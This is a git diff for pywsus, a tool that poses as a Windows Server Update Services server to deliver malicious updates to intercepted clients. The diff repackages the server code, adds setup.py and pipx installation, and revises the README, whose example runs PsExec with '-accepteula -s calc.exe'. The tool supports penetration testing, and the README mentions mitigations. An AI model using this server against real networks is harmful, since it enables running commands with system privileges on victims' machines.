diff --git a/README.md b/README.md index 19691ce..18e7b49 100644 --- a/README.md +++ b/README.md @@ -2,27 +2,36 @@ The main goal of this tool is to be a standalone implementation of a legitimate WSUS server which sends malicious responses to clients. The MITM attack itself should be done using other dedicated tools, such as [Bettercap](https://github.com/bettercap/bettercap). ## Installation + +### Using `pipx` +``` +pipx install git+https://github.com/GoSecure/pywsus +``` + +### Using `virtualenv` ``` +git clone https://github.com/GoSecure/pywsus +cd pywsus virtualenv -p /usr/bin/python3 ./venv source ./venv/bin/activate -pip install -r ./requirements.txt +python setup.py install ``` ## Usage ``` -Usage: pywsus.py [-h] -H HOST [-p PORT] -c COMMAND -e EXECUTABLE [-v] +usage: pywsus [-h] -H HOST [-p PORT] -e EXECUTABLE -c COMMAND [-v] OPTIONS: -h, --help show this help message and exit -H HOST, --host HOST The listening adress. -p PORT, --port PORT The listening port. - -c COMMAND, --command COMMAND - The parameters for the current payload -e EXECUTABLE, --executable EXECUTABLE - The executable to returned to the victim. It has to be signed by Microsoft--e.g., psexec - -v, --verbose increase output verbosity. + The Microsoft signed executable returned to the client. + -c COMMAND, --command COMMAND + The parameters for the current executable. + -v, --verbose Increase output verbosity. -Example: python pywsus.py -c '/accepteula /s calc.exe' -e PsExec64.exe +Example: python pywsus.py -H X.X.X.X -p 8530 -e PsExec64.exe -c "-accepteula -s calc.exe" ``` ## Mitigations diff --git a/pywsus.py b/pywsus/pywsus.py similarity index 89% rename from pywsus.py rename to pywsus/pywsus.py index 21ee579..c120bc8 100644 --- a/pywsus.py +++ b/pywsus/pywsus.py @@ -3,6 +3,7 @@ from http.server import BaseHTTPRequestHandler, HTTPServer from bs4 import BeautifulSoup from random import randint +from functools import partial import uuid import html import datetime @@ -71,7 +72,7 @@ def set_resources_xml(self, command): with open('{}/resources/get-extended-update-info.xml'.format(path), 'r') as file: self.get_extended_update_info_xml = file.read().format(revision_id1=self.revision_ids[0], revision_id2=self.revision_ids[1], sha1=self.sha1, sha256=self.sha256, - filename=self.executable_name, file_size=len(executable_file), command=html.escape(html.escape(command)), + filename=self.executable_name, file_size=len(self.executable), command=html.escape(html.escape(command)), url='http://{host}/{path}/{executable}'.format(host=self.client_address, path=uuid.uuid4(), executable=self.executable_name)) file.close() @@ -107,6 +108,10 @@ def __str__(self): class WSUSBaseServer(BaseHTTPRequestHandler): + def __init__(self, update_handler, *args, **kwargs): + self.update_handler = update_handler + super().__init__(*args, **kwargs) + def _set_response(self, serveEXE=False): self.protocol_version = 'HTTP/1.1' @@ -117,7 +122,7 @@ def _set_response(self, serveEXE=False): if serveEXE: self.send_header('Content-Type', 'application/octet-stream') - self.send_header("Content-Length", len(update_handler.executable)) + self.send_header("Content-Length", len(self.update_handler.executable)) else: self.send_header('Content-type', 'text/xml; chartset=utf-8') @@ -140,7 +145,7 @@ def do_GET(self): logging.info("Requested: {path}".format(path=self.path)) self._set_response(True) - self.wfile.write(update_handler.executable) + self.wfile.write(self.update_handler.executable) def do_POST(self): @@ -156,27 +161,27 @@ def do_POST(self): if soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b76899b4-ad55-427d-a748-2ecf0829412b - data = BeautifulSoup(update_handler.get_config_xml, 'xml') + data = BeautifulSoup(self.update_handler.get_config_xml, 'xml') elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/36a5d99a-a3ca-439d-bcc5-7325ff6b91e2 - data = BeautifulSoup(update_handler.get_cookie_xml, "xml") + data = BeautifulSoup(self.update_handler.get_cookie_xml, "xml") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/RegisterComputer"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b0f2a41f-4b96-42a5-b84f-351396293033 - data = BeautifulSoup(update_handler.register_computer_xml, "xml") + data = BeautifulSoup(self.update_handler.register_computer_xml, "xml") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/6b654980-ae63-4b0d-9fae-2abb516af894 - data = BeautifulSoup(update_handler.sync_updates_xml, "xml") + data = BeautifulSoup(self.update_handler.sync_updates_xml, "xml") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/862adc30-a9be-4ef7-954c-13934d8c1c77 - data = BeautifulSoup(update_handler.get_extended_update_info_xml, "xml") + data = BeautifulSoup(self.update_handler.get_extended_update_info_xml, "xml") elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/da9f0561-1e57-4886-ad05-57696ec26a78 - data = BeautifulSoup(update_handler.report_event_batch_xml, "xml") + data = BeautifulSoup(self.update_handler.report_event_batch_xml, "xml") post_data_report = BeautifulSoup(post_data, "xml") logging.info('Client Report: {targetID}, {computerBrand}, {computerModel}, {extendedData}.'.format(targetID=post_data_report.TargetID.text, @@ -186,7 +191,7 @@ def do_POST(self): elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"': # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/44767c55-1e41-4589-aa01-b306e0134744 - data = BeautifulSoup(update_handler.get_authorization_cookie_xml, "xml") + data = BeautifulSoup(self.update_handler.get_authorization_cookie_xml, "xml") else: logging.warning("SOAP Action not handled") @@ -204,9 +209,10 @@ def do_POST(self): logging.warning("POST Response without data.") -def run(host, port, server_class=HTTPServer, handler_class=WSUSBaseServer): +def run(host, port, update_handler, server_class=HTTPServer, handler_class=WSUSBaseServer): server_address = (host, port) - httpd = server_class(server_address, handler_class) + http_handler = partial(handler_class, update_handler) + httpd = server_class(server_address, http_handler) logging.info('Starting httpd...\n') @@ -233,7 +239,7 @@ def parse_args(): return parser.parse_args() -if __name__ == '__main__': +def main(): args = parse_args() if args.verbose: @@ -252,4 +258,8 @@ def parse_args(): logging.info(update_handler) - run(host=args.host, port=args.port) + run(host=args.host, port=args.port, update_handler=update_handler) + + +if __name__ == '__main__': + main() diff --git a/resources/get-authorization-cookie.xml b/pywsus/resources/get-authorization-cookie.xml similarity index 100% rename from resources/get-authorization-cookie.xml rename to pywsus/resources/get-authorization-cookie.xml diff --git a/resources/get-config.xml b/pywsus/resources/get-config.xml similarity index 100% rename from resources/get-config.xml rename to pywsus/resources/get-config.xml diff --git a/resources/get-cookie.xml b/pywsus/resources/get-cookie.xml similarity index 100% rename from resources/get-cookie.xml rename to pywsus/resources/get-cookie.xml diff --git a/resources/get-extended-update-info.xml b/pywsus/resources/get-extended-update-info.xml similarity index 100% rename from resources/get-extended-update-info.xml rename to pywsus/resources/get-extended-update-info.xml diff --git a/resources/internal-error.xml b/pywsus/resources/internal-error.xml similarity index 100% rename from resources/internal-error.xml rename to pywsus/resources/internal-error.xml diff --git a/resources/register-computer.xml b/pywsus/resources/register-computer.xml similarity index 100% rename from resources/register-computer.xml rename to pywsus/resources/register-computer.xml diff --git a/resources/report-event-batch.xml b/pywsus/resources/report-event-batch.xml similarity index 100% rename from resources/report-event-batch.xml rename to pywsus/resources/report-event-batch.xml diff --git a/resources/sync-updates.xml b/pywsus/resources/sync-updates.xml similarity index 100% rename from resources/sync-updates.xml rename to pywsus/resources/sync-updates.xml diff --git a/requirements.txt b/requirements.txt index 79e47c6..3f2bdd2 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,3 @@ beautifulsoup4==4.9.1 -lxml==4.6.2 +lxml==4.9.1 soupsieve==2.0.1 diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..97fe8fc --- /dev/null +++ b/setup.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +from setuptools import setup + +with open("requirements.txt", encoding="utf-8") as f: + requirements = f.read().splitlines() + +setup( + name="PyWSUS", + author="Julien Pineault (GoSecure)", + license="MIT", + install_requires=requirements, + package_data={"pywsus": ["resources/*.xml"]}, + entry_points={"console_scripts": ["pywsus=pywsus.pywsus:main"]}, +)